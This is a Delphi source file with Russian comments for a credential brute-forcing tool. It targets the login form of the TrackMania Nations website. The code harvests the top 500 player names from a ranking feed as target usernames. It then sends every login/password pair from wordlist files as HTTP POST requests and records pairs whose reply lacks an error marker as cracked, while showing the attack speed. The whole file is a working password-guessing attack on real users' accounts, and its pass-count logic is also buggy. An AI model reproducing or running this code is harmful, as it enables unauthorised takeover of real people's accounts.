unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Grids, StdCtrls, xmldom, XMLIntf, oxmldom, XMLDoc,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  msxmldom, OleCtrls, SHDocVw, MSXML, DBGrids, XPMan, ComCtrls, ImgList,
  ExtCtrls, DB, DBClient, Provider, WinSock, Sockets, ScktComp;

Const
  WebServer = 'www.trackmanianations.com';
  WebPort   = 80;
  PostAddr  = '/indexUk.php';
  HTTP_Data =
    'Content-Type: application/x-www-form-urlencoded'#10+
    'User-Agent: Delphi/7.0 ()'#10+
    'Host: www.trackmanianations.com'#10+
    'Connection: Keep-Alive'#10;

type
    TForm1        = class(TForm)
    GroupBox      : TGroupBox;
    Button1       : TButton;
    Button2       : TButton;
    Edit1         : TEdit;
    Edit2         : TEdit;
    ProgressBar   : TProgressBar;
    StringGrid    : TStringGrid;
    ClientSocket  : TClientSocket;
    XMLDocument   : TXMLDocument;
    Timer1        : TTimer;
    Timer2        : TTimer;
    Label1        : TLabel;
    Label2        : TLabel;
    Label3        : TLabel;
    Label4        : TLabel;
    Label5        : TLabel;


    procedure Button1Click            (Sender: TObject);
    procedure Button2Click            (Sender: TObject);
    procedure Form1Show               (Sender: TObject);
    procedure ClientSocketWrite       (Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketRead        (Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketDisconnect  (Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketError       (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure Timer1Timer             (Sender: TObject);
    procedure Timer2Timer             (Sender: TObject);
    procedure GridClean               (Sender: TObject);
    procedure GridAlign               (Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
    procedure POST;


  private
    { Private declarations } 
    HTTP_POST   : String;
    FContent    : String;
    FResult     : String;
    Login       : String;
    Password    : String;
    shag        : Longint;
    k           : Longint;
    variant     : Longint;
    variantov   : Longint;
  public
    { Public declarations }
  end;

var
  Form1     : TForm1;
  q, w      : Integer;
  Loginfile : Textfile;
  Passfile  : Textfile;

implementation

uses  StrUtils;

{$R *.dfm}


//------ Действия при открытии формы -------------------------------------------
procedure TForm1.Form1Show(Sender: TObject);
begin
  StringGrid.Rows[0].Strings[0]:='Логин';
  StringGrid.Rows[0].Strings[1]:='Пароль';
  GridClean(StringGrid);
  shag := 1;
  q := 0;
  w := 0;
  k := 0;
  variant := 0;
  Label3.Caption := 'Выполняется:';
  Label4.Caption := 'Текущий вариант:';
  Label5.Caption := 'Скорость перебора:';
end;
//------------------------------------------------------------------------------


//------ Всякие кренделя с сокетами --------------------------------------------
procedure TForm1.ClientSocketWrite(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText(HTTP_POST+FContent);
  Label3.Caption := 'Выполняется: '+Login+' : '+Password;
  Label4.Caption := 'Текущий вариант: '+IntToStr(variant+1)+' из '+IntToStr(variantov)+' возможных';
end;

procedure TForm1.ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  FResult:=FResult+Socket.ReceiveText;
end;

procedure TForm1.ClientSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  variant := variant+1;
  if variantov > 0 then
  ProgressBar.Position := StrToInt(FloatToStr(round(variant*100/variantov)))
  else
  ProgressBar.Position := 100;
  if pos('deleted', FResult) = 0 then
    begin
      StringGrid.Rows[shag].Strings[0]:= Login;
      StringGrid.Rows[shag].Strings[1]:= Password;
      shag := shag+1;
      if shag > 5 then StringGrid.RowCount := StringGrid.RowCount+1;
    end;
  ClientSocket.Close;
  if variant < variantov then
    begin
      Timer1.Enabled:=true;
    end else
    Begin
      Timer1.Enabled:=false;
      Timer2.Enabled:=false;
      Label3.Caption := 'Выполняется: вариантов больше нет';
      Label4.Caption := 'Текущий вариант: вариантов больше нет';
      Label5.Caption := 'Скорость перебора: вариантов больше нет';
    end;
end;

procedure TForm1.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode := 0;
end;
//------------------------------------------------------------------------------


//------ Перебор и посылка данных ----------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);                                  // Процедура включения первого таймера.
begin                                                                           // Поехали.
    if Eof(PassFile) then                                                       // Если пассы кончились, то
      Begin                                                                     // делаем следущее:
        Reset(Passfile);                                                        // вернуться к началу файла пассов
        ReadLn (Loginfile, Login);                                              // и взять следущий логин из списка.
      end;                                                                      // Вот так-то. ;)
    ReadLn (Passfile, Password);                                                // При каждом включении таймера считывается новый пасс,
    Timer1.Enabled := false;                                                    // сам таймер после этого ставится на ручник
    POST;                                                                       // и пароль вместе с логином отправляются в процедуру формирования запроса.
end;                                                                            // Закончилась процедура.
                                                                                //
procedure TForm1.POST;                                                          // Процедура подстановки и отправки данных.
begin                                                                           // Поехали.
  FResult:='';                                                                  // Обнуляем результат получения предыдущего контента.
  FContent:=                                                                    // Записываем в структуру запроса POST новые данные
  'username='+ Login +'&'+                                                      // ... имя пользователя
  'password='+ Password +'&'+                                                   // ... пароль пользователя
  'Submit=ok'+                                                                  // ... и эмулируем нажатие кнопки "ОК" из формы.
  #10;                                                                          // Далее завершаем формирование структуры запроса...
  FContent := 'Content-Length: '+IntToStr(Length(FContent))+#10+#10+FContent;   // ...
  ClientSocket.Host := WebServer;                                               // ...
  ClientSocket.Port := WebPort;                                                 // ...
  HTTP_POST         := 'POST '+PostAddr+' HTTP/1.0'#10;                         // ...
  HTTP_Post         := HTTP_Post + HTTP_Data;                                   // ...
  ClientSocket.Open;                                                            // ... и открываем сокет. Данные из POST-запроса передадутся куда надо.
end;                                                                            // Вот, собственно, и всё.
//------------------------------------------------------------------------------


//------ Генерация списка ТОП 500 пользователей --------------------------------
procedure TForm1.Button1Click(Sender: TObject);
var player, nd : IXMLNode;
    i          : longint;
    Memo       : TMemo;
begin
  Memo         := TMemo.Create(Form1);                                          // На лету создаём TМемо, куда будет
  Memo.Visible := False;                                                        // скидываться весь список. Впоследствии этот список
  Memo.Parent  := Form1;                                                        // автоматически сохраняется на диск с именем logins.txt
  Memo.Clear;
  self.XMLDocument.LoadFromFile ('http://tmnstats.rockweb.org/xml_ranking_players.php?limit=500');
  self.XMLDocument.Active := true;
  nd := XMLDocument.ChildNodes['ranking'].ChildNodes['players'];
     for i:=0 to nd.ChildNodes.Count-1 do
     begin
          player:=nd.ChildNodes[i];
          Memo.Lines.Add (player.ChildValues['name']);
     end;
     DeleteFile ('logins.txt');
     Memo.Lines.SaveToFile ('logins.txt');
     XMLDocument.Active:=false;
end;
//------------------------------------------------------------------------------


//------ Действия при нажатии кнопки перебора ----------------------------------
procedure TForm1.Button2Click(Sender: TObject);
var
  LoginCount : TStringList;
  PassCount  : TStringList;
  LGN, PSW   : Integer;
begin
  AssignFile(Loginfile, Edit1.Text);
  AssignFile(Passfile, Edit2.Text);
  if not FileExists(Edit1.Text) then
    Begin
      Rewrite(Loginfile);
      Application.MessageBox(PChar('Заполните файл '+Edit1.Text+' логинами'), 'Ошибка', mb_Ok);
    end;
  if not FileExists(Edit2.Text) then
    Begin
      Rewrite(Passfile);
      Application.MessageBox(PChar('Заполните файл '+Edit2.Text+' паролями'), 'Ошибка', mb_Ok);
    end;
  Reset(Loginfile);
  Reset(Passfile);
  Button1.Enabled := False;
  Button2.Enabled := False;
  Edit1.Enabled := False;
  Edit2.Enabled := False;
  ReadLn (Loginfile, Login);
  Timer1.Enabled := true;
  Timer2.Enabled := true;
  Button2.Caption := 'Время перебора: 0 сек.';
    LoginCount := TStringList.Create;
      LoginCount.LoadFromFile(Edit1.Text);
      LGN := LoginCount.Count;
      LoginCount.Free;
    PassCount := TStringList.Create;
      PassCount.LoadFromFile(Edit2.Text);
      PSW := LoginCount.Count;
      PassCount.Free;
  Variantov := LGN*PSW;
end;
//------------------------------------------------------------------------------


//------ Вычисление времени работы брутфорса -----------------------------------
procedure TForm1.Timer2Timer(Sender: TObject);
begin
  k := k+1;
  Button2.Caption := 'Время перебора: '+IntToStr(k)+' сек.';
  Label5.Caption := 'Скорость перебора: '+FloatToStr(round(variant*60/k))+' вариантов в минуту';
end;
//------------------------------------------------------------------------------


//------ Процедуры очистки выделения и выравнивания таблиц ---------------------
procedure TForm1.GridClean(Sender: TObject);
var hGridRect: TGridRect;
begin
   hGridRect.Top := -1;
   hGridRect.Left := -1;
   hGridRect.Right := -1;
   hGridRect.Bottom := -1;
   (Sender as TStringGrid).Selection := hGridRect;
end;

procedure TForm1.GridAlign(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
var s: string;
begin
  with Sender as TStringGrid do begin
    s:=cells[acol,arow];
    canvas.FillRect (rect);
    rect.right:=rect.Right -2;
    DrawText(canvas.handle,pchar(s),-1,Rect, DT_SINGLELINE OR DT_VCENTER OR DT_CENTER);
  end;
end;
//------------------------------------------------------------------------------


end.